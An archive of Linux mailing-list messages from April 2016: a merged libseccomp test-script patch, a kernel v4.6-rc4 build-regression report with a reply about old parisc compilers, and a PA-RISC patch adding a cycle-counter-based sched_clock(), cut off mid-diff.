        b=ogtyu/76Kh0K8S/cGiFrYXO9oZuyiCEXtdnc+7CDYYix2Wmf1AePPr8C1iCHS6s9q4
         cMN54lbNN3vPIkXNsoMUBmJNmg/0fpQpOWQ6geHkXaOyy/fYoGQScmRKqxL0TwhwbwXU
         /G3k6dQLVFrBMe3v4+dr6YRdmJUlyE8Bf4AyzBWzzPR4dUfXH5d59ciUWK8OmRXZMwNe
         zuMBVfi1OoSUS3tep7IOb1icitNQvL3PIcsr05DwoUZ2r/bJz5bmM1Nca+RyRajdKabx
         XQEnh8Vf5rqgMK86Cz1uWeSBQPD2z02ldgMXO9JlTY5CANHLKujcrHxQXHiJbiiZDbHt
         6iqw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:from:to:cc:subject:date:message-id
         :user-agent:in-reply-to:references:mime-version:x-original-sender
         :x-original-authentication-results:precedence:mailing-list:list-id
         :x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=4G7oSa/v6ixmFhwcsC/XyKVIqOZLpAGEU+ZinEI8M24=;
        b=HaT7ajlmluj/Mixhd3B2zmNc9getX4xokMTwKymyQ8UjosqLRWYkY7cSM2twT3QJrL
         2CiImUEfn1Irhj8fwTr/SG/MQ/IitKMpudTnHB3oewsGmwv2pHS67Uzi6OYD8G+fvru9
         o8FCJiJFAb7zZqOlPzamp9NruA/TnitXLWfy3MGCVpPnjGP80yiuAWCpcWblyTX/N/ZI
         0BNSvJWmom9LLkFbrsjvh9c3zKfBvpWrohte9a5sNAjdXgTlYnEe76DijCc6PGka16eq
         bCEvH8xrItF71XYgf9GqEbfrST+4pZxz3+6e1gACLV4J/GUs66vz2H7cVkNZr9kRYMFY
         4S4w==
Original-Sender: libseccomp@googlegroups.com
X-Gm-Message-State: AOPr4FWenwy4cJc47ytj8d7OVShR/o3zS52UBRWP8BYPkfvdyA9uEeqC2pCIJzjbaQeLUg==
X-Received: by 10.140.92.196 with SMTP id b62mr985943qge.5.1461019050666;
        Mon, 18 Apr 2016 15:37:30 -0700 (PDT)
X-BeenThere: libseccomp@googlegroups.com
Original-Received: by 10.140.90.105 with SMTP id w96ls3107622qgd.35.gmail; Mon, 18 Apr
 2016 15:37:30 -0700 (PDT)
X-Received: by 10.13.194.67 with SMTP id e64mr23966416ywd.17.1461019050445;
        Mon, 18 Apr 2016 15:37:30 -0700 (PDT)
Original-Received: from mail-qg0-x241.google.com (mail-qg0-x241.google.com. [2607:f8b0:400d:c04::241])
        by gmr-mx.google.com with ESMTPS id m129si349286ywb.0.2016.04.18.15.37.30
        for <libseccomp@googlegroups.com>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 18 Apr 2016 15:37:30 -0700 (PDT)
Received-SPF: neutral (google.com: 2607:f8b0:400d:c04::241 is neither permitted nor denied by best guess record for domain of paul@paul-moore.com) client-ip=2607:f8b0:400d:c04::241;
Original-Received: by mail-qg0-x241.google.com with SMTP id 7so18637076qgj.0
        for <libseccomp@googlegroups.com>; Mon, 18 Apr 2016 15:37:30 -0700 (PDT)
X-Received: by 10.140.234.195 with SMTP id f186mr21668591qhc.91.1461019050112;
        Mon, 18 Apr 2016 15:37:30 -0700 (PDT)
Original-Received: from sifl.localnet (pool-108-49-39-189.bstnma.fios.verizon.net. [108.49.39.189])
        by smtp.gmail.com with ESMTPSA id b90sm13960931qkj.31.2016.04.18.15.37.29
        (version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Mon, 18 Apr 2016 15:37:29 -0700 (PDT)
User-Agent: KMail/4.14.10 (Linux/4.4.5-gentoo; KDE/4.14.18; x86_64; ; )
In-Reply-To: <20160415150941.GA11180@ls3530.dhcp.wdf.sap.corp>
X-Original-Sender: paul@paul-moore.com
X-Original-Authentication-Results: gmr-mx.google.com;       dkim=pass
 header.i=@paul-moore-com.20150623.gappssmtp.com;       spf=neutral
 (google.com: 2607:f8b0:400d:c04::241 is neither permitted nor denied by best
 guess record for domain of paul@paul-moore.com) smtp.mailfrom=paul@paul-moore.com
Precedence: list
Mailing-list: list libseccomp@googlegroups.com; contact libseccomp+owners@googlegroups.com
List-ID: <libseccomp.googlegroups.com>
X-Spam-Checked-In-Group: libseccomp@googlegroups.com
X-Google-Group-Id: 473669215327
List-Post: <https://groups.google.com/group/libseccomp/post>, <mailto:libseccomp@googlegroups.com>
List-Help: <https://groups.google.com/support/>, <mailto:libseccomp+help@googlegroups.com>
List-Archive: <https://groups.google.com/group/libseccomp
List-Subscribe: <https://groups.google.com/group/libseccomp/subscribe>, <mailto:libseccomp+subscribe@googlegroups.com>
List-Unsubscribe: <mailto:googlegroups-manage+473669215327+unsubscribe@googlegroups.com>,
 <https://groups.google.com/group/libseccomp/subscribe>
Xref: news.gmane.org gmane.comp.lib.libseccomp.general:1344 gmane.linux.ports.parisc:26658
Archived-At: <http://permalink.gmane.org/gmane.comp.lib.libseccomp.general/1344>

On Friday, April 15, 2016 05:09:41 PM Helge Deller wrote:
> Print a message if a regression test was skipped just because valgrind isn't
> installed.
> 
> This additional info is useful for architectures (e.g. parisc) which aren't
> as fast as x86_64. On parisc it seemed that the whole testcase was hanging,
> now people know what's actually happening.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>

Merged, thanks!

> diff --git a/tests/regression b/tests/regression
> index 53d26b2..5949459 100755
> --- a/tests/regression
> +++ b/tests/regression
> @@ -772,6 +773,7 @@ function run_test() {
>  		if check_deps valgrind; then
>  			run_test_bpf_valgrind "$testnumstr" "$3"
>  		else
> +			print_result $testnumstr "SKIPPED" "(valgrind not installed)"
>  			stats_skipped=$(($stats_skipped+1))
>  		fi
>  	elif [[ "$4" == "live" ]]; then

-- 
paul moore
www.paul-moore.com

-- 
You received this message because you are subscribed to the Google Groups "libseccomp" group.
To unsubscribe from this group and stop receiving emails from it, send an email to libseccomp+unsubscribe@googlegroups.com.
To post to this group, send email to libseccomp@googlegroups.com.
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.power-management.general
Subject: Re: Build regressions/improvements in v4.6-rc4
Date: Tue, 19 Apr 2016 08:57:37 +0200
Lines: 51
Approved: news@gmane.org
Message-ID: <CAMuHMdUqJ0dj25oXhC4MgqSk0SaOHvT262ew+sBs7eV2SCwyUA@mail.gmail.com>
References: <1461048813-28712-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1461049067 30897 80.91.229.3 (19 Apr 2016 06:57:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2016 06:57:47 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux PM list <linux-pm@vger.kernel.org>
To: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 08:57:40 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asPbQ-0004KB-A3
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Apr 2016 08:57:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752133AbcDSG5j (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2016 02:57:39 -0400
Original-Received: from mail-ig0-f194.google.com ([209.85.213.194]:36125 "EHLO
	mail-ig0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752132AbcDSG5j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2016 02:57:39 -0400
Original-Received: by mail-ig0-f194.google.com with SMTP id kb1so1267703igb.3;
        Mon, 18 Apr 2016 23:57:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=nRpnT2fjRW9uedmhueMoB1gAIUHzAs1guc2pKB15fuk=;
        b=Q4zoa1Ox4GoCzZ7nfPzGTidmsH/2QYugCqhAtVd+aZo3GOJkl2qzj+SDd8Jh7GLeef
         /NxhQPd5XphZatfDrIjJtK/bKAwYux1iZnPGNaYvdTlUtu3tOtxcBT6lAEZXXICj1z8I
         wpdFXBrOYN04hXlpQsitY7+2RkLcmPczJMHfmq+DbT2TuIzKp2FIRnBecEBYV+gZjcWO
         DOwTgy89j5h/vI7JdmGefdjF760hvxhBEtkx026nhFFKI5gwWEbkWdk1dasl2u0EQtWA
         MNJJxAr+jowhRm2UbEX6bdLyZ7ulANt9RG81iyAEH4gvXrfRMHyrbCEK7Cs6n6Dr9Q1x
         ZgQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=nRpnT2fjRW9uedmhueMoB1gAIUHzAs1guc2pKB15fuk=;
        b=BPUyomJueE+cnMfplmwofbb661+8K5aPaHIOtVlYZ75X8/4/p/2eSD2XjTAMRJVUxq
         5kKRSIpDCBh1sXwPOhvyErdd3W6qiPAHADJCMo6ekHZQIAW2VujPXH0zl0wDGHgI8NyU
         IlISSswz0D+yvunLVnas/1qHm+M8nOrUxTHDU4JLnvml5n5G7Mu6lh8uuD9Okmjkom/l
         KQO7Vr6DYT3ThXtl2sC9/RvvFCpOmhlXoJxJ3svpckeALAxbq6J8zxpPlvPYHs56UkT0
         QgsLuN4e1l4VKBajKUsGcJxZgW+YJZ5QFWLLGVtCF9WB1ctNoDPvpeTpb9H46+7QCTxd
         QAVQ==
X-Gm-Message-State: AOPr4FXb6ZLcPV01hj1ZGkAGkd9yos9/7zux0MfINwmE+XW+4R4QX8fdaMpaPvMqlAJBezDLwpGWiBQwH0S4Ow==
X-Received: by 10.50.108.49 with SMTP id hh17mr1972436igb.31.1461049057980;
 Mon, 18 Apr 2016 23:57:37 -0700 (PDT)
Original-Received: by 10.107.31.77 with HTTP; Mon, 18 Apr 2016 23:57:37 -0700 (PDT)
In-Reply-To: <1461048813-28712-1-git-send-email-geert@linux-m68k.org>
X-Google-Sender-Auth: O2dznfnP3gTWwd3okR-sACqAg7o
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26659 gmane.linux.kernel:2202257 gmane.linux.ports.ppc64.devel:126042 gmane.linux.power-management.general:74939
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26659>

On Tue, Apr 19, 2016 at 8:53 AM, Geert Uytterhoeven
<geert@linux-m68k.org> wrote:
> Below is the list of build error/warning regressions/improvements in
> v4.6-rc4[1] compared to v4.5[2].
>
> Summarized:
>   - build errors: +11/-7
>   - build warnings: +16376/-165

Sorry for the delay, initially I didn't realize why my first report didn't make
it to the list. It was too big, due to 16211 warnings in parisc-allmodconfig
about "-ffunction-sections disabled; it makes profiling impossible [enabled by
default]".

> JFYI, when comparing v4.6-rc4[1] to v4.6-rc3[3], the summaries are:
>   - build errors: +9/-9

  + /home/kisskb/slave/src/arch/powerpc/kernel/pci_dn.c: error:
'struct pci_dn' has no member named 'edev':  => 272:8
  + /home/kisskb/slave/src/arch/powerpc/kernel/pci_dn.c: error:
dereferencing pointer to incomplete type:  => 215:7
  + /home/kisskb/slave/src/arch/powerpc/kernel/pci_dn.c: error:
implicit declaration of function 'eeh_dev_init'
[-Werror=implicit-function-declaration]:  => 212:3

powerpc-randconfig

  + /home/kisskb/slave/src/drivers/thermal/mtk_thermal.c: error:
implicit declaration of function 'device_reset'
[-Werror=implicit-function-declaration]:  => 560:2

x86_64-randconfig (patch available)

> [1] http://kisskb.ellerman.id.au/kisskb/head/10194/ (all 262 configs)
> [3] http://kisskb.ellerman.id.au/kisskb/head/10162/ (all 262 configs)

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Build regressions/improvements in v4.6-rc4 (parisc warnings)
Date: Tue, 19 Apr 2016 15:31:59 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <5716334F.6020602@gmx.de>
References: <1461048813-28712-1-git-send-email-geert@linux-m68k.org>
 <CAMuHMdUqJ0dj25oXhC4MgqSk0SaOHvT262ew+sBs7eV2SCwyUA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1461072761 23647 80.91.229.3 (19 Apr 2016 13:32:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Apr 2016 13:32:41 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 19 15:32:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asVlW-0001Tc-CE
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Apr 2016 15:32:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752792AbcDSNcK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Apr 2016 09:32:10 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:58240 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752887AbcDSNcI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Apr 2016 09:32:08 -0400
Original-Received: from [192.168.20.60] ([92.203.58.36]) by mail.gmx.com (mrgmx002)
 with ESMTPSA (Nemesis) id 0LynHb-1bmUMf3Dip-016AWm; Tue, 19 Apr 2016 15:32:02
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CAMuHMdUqJ0dj25oXhC4MgqSk0SaOHvT262ew+sBs7eV2SCwyUA@mail.gmail.com>
X-Provags-ID: V03:K0:qvexGtos133Yzs1SOj9k1OPJrlZODpE1Knku5mf24dBBFzS6MGf
 Pd2hjwEtqnnjM8F3lT46HCM1DUfuG398751grA01bmK8OVHdJ1RcKwXZWy6jYQRht65N1Yt
 EI37ZuCCNiMk1aT8ZgRBTKHFAvrHoDh/qNWk7n64RTxB3Z021ZrCb3jrmslPqOBgMCigL/I
 xM3H3o7zqqavprSjUmOZg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:GzBiF9Kkwiw=:o/sgyaF1Gf7ZOUr36jC8Yu
 OgXgouBcrRYLrOOKp+mEQDyki6e19U7WHz3JvmBwENXqddMzKWhdjXVJ/TkUNphEW2whrKK/F
 BK7buW0enfxGeIPtEfz9qJz9fbYqEFFQFDiSU2EmM71jr/w18V3EqASv/Fu4yGJmBchDiD9fi
 neZ1qyoiZjMYEt47Kv9jFSt0SlgjsS4qU1KS01AJLfdQ1in9tJY9TJjm53FsMmyLYj9EswfvJ
 9uQ4a+9I6OXF24ep4OiYz5FACtlHgoK1fbAK9Usv/a1lUqqu6Wi3JMrlYSrBVoFT0jKfrw5EP
 KYcULn+nF6K5wXPNdHyltZNOWO9j5tUbabYhGQk40Lzjb2177eKHaVLj6It50xq49ovwasc2h
 m3Jrkrbvx253wwJ1ni/8Z4+jNyOhJN9yTEVWOfdtARenQ940AIIcBIivpO3I77GtXtrXY5DVW
 gihSQ3BD9tgFinKGxBKM7qX2W+rO4MKMXN4YYTU1LYFYkx/TapfUCZKn9jp8FII8LYYrPC7Yt
 vcZ7T8vu7C1fFI7bNYvLDle54AWiZD1Y1+NUIhiNcqjyACyvg223dM4Uk69P+d7A6v2rICDwE
 ZHJCAmFCYtSfO90FmWVNic7TxTf1HPCLizi9OopVy2UNlrOopdmqn3STPUbwfqVyE2UzVzdbk
 hNY9KQIaV/EJJ9SkaZI+NonldCQFYblEYnpGCw4L1bsS2eCzec4rMvNzo0Smjr2W7FwTJu5RL
 nMOWio5rfgojLK01us3XRK1Za+2i5q1L43WJRphF8MOJd5vXRvJ9bw8NjXBaPbdZjpjTIrRM 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26660 gmane.linux.kernel:2202574
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26660>

Hi Geert,

On 19.04.2016 08:57, Geert Uytterhoeven wrote:
> On Tue, Apr 19, 2016 at 8:53 AM, Geert Uytterhoeven
> <geert@linux-m68k.org> wrote:
>> Below is the list of build error/warning regressions/improvements in
>> v4.6-rc4[1] compared to v4.5[2].
>>
>> Summarized:
>>   - build errors: +11/-7
>>   - build warnings: +16376/-165 <tel:+16376165>
> 
> Sorry for the delay, initially I didn't realize why my first report didn't make
> it to the list. It was too big, due to 16211 warnings in parisc-allmodconfig
> about "-ffunction-sections disabled; it makes profiling impossible [enabled by
> default]".

I checked the parisc warnings, and looking at http://kisskb.ellerman.id.au/kisskb/buildresult/12665382/
it seems a gcc-4.6 (/opt/cross/gcc-4.6.3-nolibc/hppa-linux/bin/hppa-linux-gcc) compiler
is still being used.
I tend to think, that gcc-4.6 wasn't able to generate function sections
which is why we see those warnings now (there was a FTRACE patch from me 
included before v4.6-rc4). 
Anyway, I can't reproduce those warnings with gcc-4.8 and higher.
Given the fact, that we even switched on debian now to use gcc-5 for the kernel, can
someone please update the 32- and 64-bit parisc compilers on the kiss
infrastructure to at least gcc-4.8 (gcc-4.9 or gcc-5 being preferred).

Thanks,
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add native high-resolution sched_clock()
 implementation
Date: Wed, 20 Apr 2016 21:34:15 +0200
Lines: 213
Approved: news@gmane.org
Message-ID: <20160420193415.GA3895@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1461180883 25719 80.91.229.3 (20 Apr 2016 19:34:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2016 19:34:43 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 21:34:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1asxtR-0002J0-EE
	for glpp-linux-parisc@plane.gmane.org; Wed, 20 Apr 2016 21:34:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752184AbcDTTe3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2016 15:34:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:54225 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752128AbcDTTe1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2016 15:34:27 -0400
Original-Received: from ls3530.box ([92.203.101.62]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Lw2dd-1bon7n0yOz-017pBH; Wed, 20 Apr 2016 21:34:18
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:rwzZikONcOdrbYHo19uXNQL5uTOi48KpquozQD9vE3IGQ2HHBOA
 nPUvIvsEmnFQ7k3GsH4alODrVX13c8VKzKn+eIgBGh5PBZOMNccRa7tgUWJpVFBtCSqv8Hk
 fGqlf4CwDrCSCREktFSpM03kP8+hI3lKf/dUOu733FqlppRw+JuGxGmLrWBc1CzaRBcSwHY
 nNDRjUdJtgCD8+QdZ/jCA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:LmLVKxrNKeo=:eR8u7aO7h17/j2oKElf6r7
 LuO6xNJMDsCTOJ/adTJmjivPouNTrWYwWZnYJY9c40PIXHdI1Tq6AyecBqGI/UhEh7Sv41KHf
 t1BKujDI+cFB+ZKnCvtbl1CA26DbgQCsJTfxwTDeneckm1I7lNv9nbhpSTPs8jYwKwKgwxWx/
 abiG9lbOe2J7h+ZGocjR5p2BQcvXerUY7G85oIvyr0Wt3KURMBDMmHukc4Ex//5Q2zguORk/C
 +Y5LqZ3ROl1tDhzfaU9+CLyAgOFY8b/yo/oKi+isD0+xyZc+BjhXFrl2U+iD0+/yvCCS2B4kK
 vhc2yA+9X7hKi+PMf0yjZV3gwuiHIDNYeYSVBFG6C0oaKwm5ck5b6NE62NgnDOfrCzC14Noas
 PfYWU/mZi5XdjQPK3xvpYGni+15dEEqi4/oaBDhO31jmRxjfea8ZXXJdPRzQ1KuaYDDBh1iqR
 uZH0R5+BZ32LYgblh1cHZTyQbfiGzkIkXsAQb6UCwzcogP16aOmOwRT7QgpYTB2pDeKnhWHk0
 R3DtZMg3KdpAIitHpOUIS5eegOAFPlc5ypRBB26nHDJKrkBjr1yDJIuHjxbag85Hm/1BfTMvQ
 mk+rwmh3bN2LZExVIjfgspftBeasA7FRN55vk3RrBjVWgn3P4It480MhQ4HREpyF7e/mTtddT
 OwVW9SE4GTH7MJJpi0aUCrXbr9puWCeUv58dSVQVH3JGwgcqJWEf9FKhBwdcyYW1rBryAIKUm
 gwifL+gW7yIi/CVQ6PLa+OCPdObxXF8iAomWY7zgtMM33tlgxYXOKEuGy8E=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26661
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26661>

Add a native implementation for the sched_clock() function which utilizes the
processor-internal cycle counter (Control Register 16) as high-resolution time
source.

With this patch we now get much more fine-grained resolutions in various
in-kernel time measurements (e.g. when viewing the function tracing logs), and
probably a more accurate scheduling on SMP systems.

There are a few specific implementation details in this patch:

1. On a 32bit kernel we emulate the higher 32bits of the required 64-bit
resolution of sched_clock() by increasing a per-cpu counter at every
wrap-around of the 32bit cycle counter.

2. In a SMP system, the cycle counters of the various CPUs are not syncronized
(similiar to the TSC in a x86_64 system). To cope with this we define
HAVE_UNSTABLE_SCHED_CLOCK and let the upper layers do the adjustment work.

3. Since we need HAVE_UNSTABLE_SCHED_CLOCK, we need to provide a cmpxchg64()
function even on a 32-bit kernel.

4. A 64-bit SMP kernel which is started on a UP system will mark the
sched_clock() implementation as "stable", which means that we don't expect any
jumps in the returned counter. This is true because we then run only on one
CPU.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index bf05fc4..766da06 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -33,6 +33,7 @@ config PARISC
 	select HAVE_ARCH_AUDITSYSCALL
 	select HAVE_ARCH_SECCOMP_FILTER
 	select HAVE_ARCH_TRACEHOOK
+	select HAVE_UNSTABLE_SCHED_CLOCK if (SMP || !64BIT)
 	select ARCH_NO_COHERENT_DMA_MMAP
 
 	help
diff --git a/arch/parisc/include/asm/cmpxchg.h b/arch/parisc/include/asm/cmpxchg.h
index 0a90b96..7ada309 100644
--- a/arch/parisc/include/asm/cmpxchg.h
+++ b/arch/parisc/include/asm/cmpxchg.h
@@ -52,8 +52,7 @@ extern void __cmpxchg_called_with_bad_pointer(void);
 /* __cmpxchg_u32/u64 defined in arch/parisc/lib/bitops.c */
 extern unsigned long __cmpxchg_u32(volatile unsigned int *m, unsigned int old,
 				   unsigned int new_);
-extern unsigned long __cmpxchg_u64(volatile unsigned long *ptr,
-				   unsigned long old, unsigned long new_);
+extern u64 __cmpxchg_u64(volatile u64 *ptr, u64 old, u64 new_);
 
 /* don't worry...optimizer will get rid of most of this */
 static inline unsigned long
@@ -61,7 +60,7 @@ __cmpxchg(volatile void *ptr, unsigned long old, unsigned long new_, int size)
 {
 	switch (size) {
 #ifdef CONFIG_64BIT
-	case 8: return __cmpxchg_u64((unsigned long *)ptr, old, new_);
+	case 8: return __cmpxchg_u64((u64 *)ptr, old, new_);
 #endif
 	case 4: return __cmpxchg_u32((unsigned int *)ptr,
 				     (unsigned int)old, (unsigned int)new_);
@@ -86,7 +85,7 @@ static inline unsigned long __cmpxchg_local(volatile void *ptr,
 {
 	switch (size) {
 #ifdef CONFIG_64BIT
-	case 8:	return __cmpxchg_u64((unsigned long *)ptr, old, new_);
+	case 8:	return __cmpxchg_u64((u64 *)ptr, old, new_);
 #endif
 	case 4:	return __cmpxchg_u32(ptr, old, new_);
 	default:
@@ -111,4 +110,6 @@ static inline unsigned long __cmpxchg_local(volatile void *ptr,
 #define cmpxchg64_local(ptr, o, n) __cmpxchg64_local_generic((ptr), (o), (n))
 #endif
 
+#define cmpxchg64(ptr, o, n) __cmpxchg_u64(ptr, o, n)
+
 #endif /* _ASM_PARISC_CMPXCHG_H_ */
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 400acac0..368ca2b 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -38,6 +34,18 @@
 
 static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
 
+#ifndef CONFIG_64BIT
+/*
+ * The processor-internal cycle counter (Control Register 16) is used as time
+ * source for the sched_clock() function.  This register is 64bit wide on a
+ * 64-bit kernel and 32bit on a 32-bit kernel. Since sched_clock() always
+ * requires a 64bit counter we emulate on the 32-bit kernel the higher 32bits
+ * with a per-cpu variable which we increase every time the counter
+ * wraps-around (which happens every ~4 secounds).
+ */
+static DEFINE_PER_CPU(unsigned long, cr16_high_32_bits);
+#endif
+
 /*
  * We keep time on PA-RISC Linux by using the Interval Timer which is
  * a pair of registers; one is read-only and one is write-only; both
@@ -108,6 +116,12 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	 */
 	mtctl(next_tick, 16);
 
+#if !defined(CONFIG_64BIT)
+	/* check for overflow on a 32bit kernel (every ~4 seconds). */
+	if (unlikely(next_tick < now))
+		this_cpu_inc(cr16_high_32_bits);
+#endif
+
 	/* Skip one clocktick on purpose if we missed next_tick.
 	 * The new CR16 must be "later" than current CR16 otherwise
 	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
@@ -219,6 +233,12 @@ void __init start_cpu_itimer(void)
 	unsigned int cpu = smp_processor_id();
 	unsigned long next_tick = mfctl(16) + clocktick;
 
+#if defined(CONFIG_HAVE_UNSTABLE_SCHED_CLOCK) && defined(CONFIG_64BIT)
+	/* With multiple 64bit CPUs online, the cr16's are not syncronized. */
+	if (cpu != 0)
+		clear_sched_clock_stable();
+#endif
+
 	mtctl(next_tick, 16);		/* kick off Interval Timer (CR16) */
 
 	per_cpu(cpu_data, cpu).it_value = next_tick;
@@ -246,15 +266,52 @@ void read_persistent_clock(struct timespec *ts)
 	}
 }
 
+
+/*
+ * sched_clock() framework
+ */
+
+static u32 cyc2ns_mul __read_mostly;
+static u32 cyc2ns_shift __read_mostly;
+
+u64 sched_clock(void)
+{
+	u64 now;
+
+	/* Get current cycle counter (Control Register 16). */
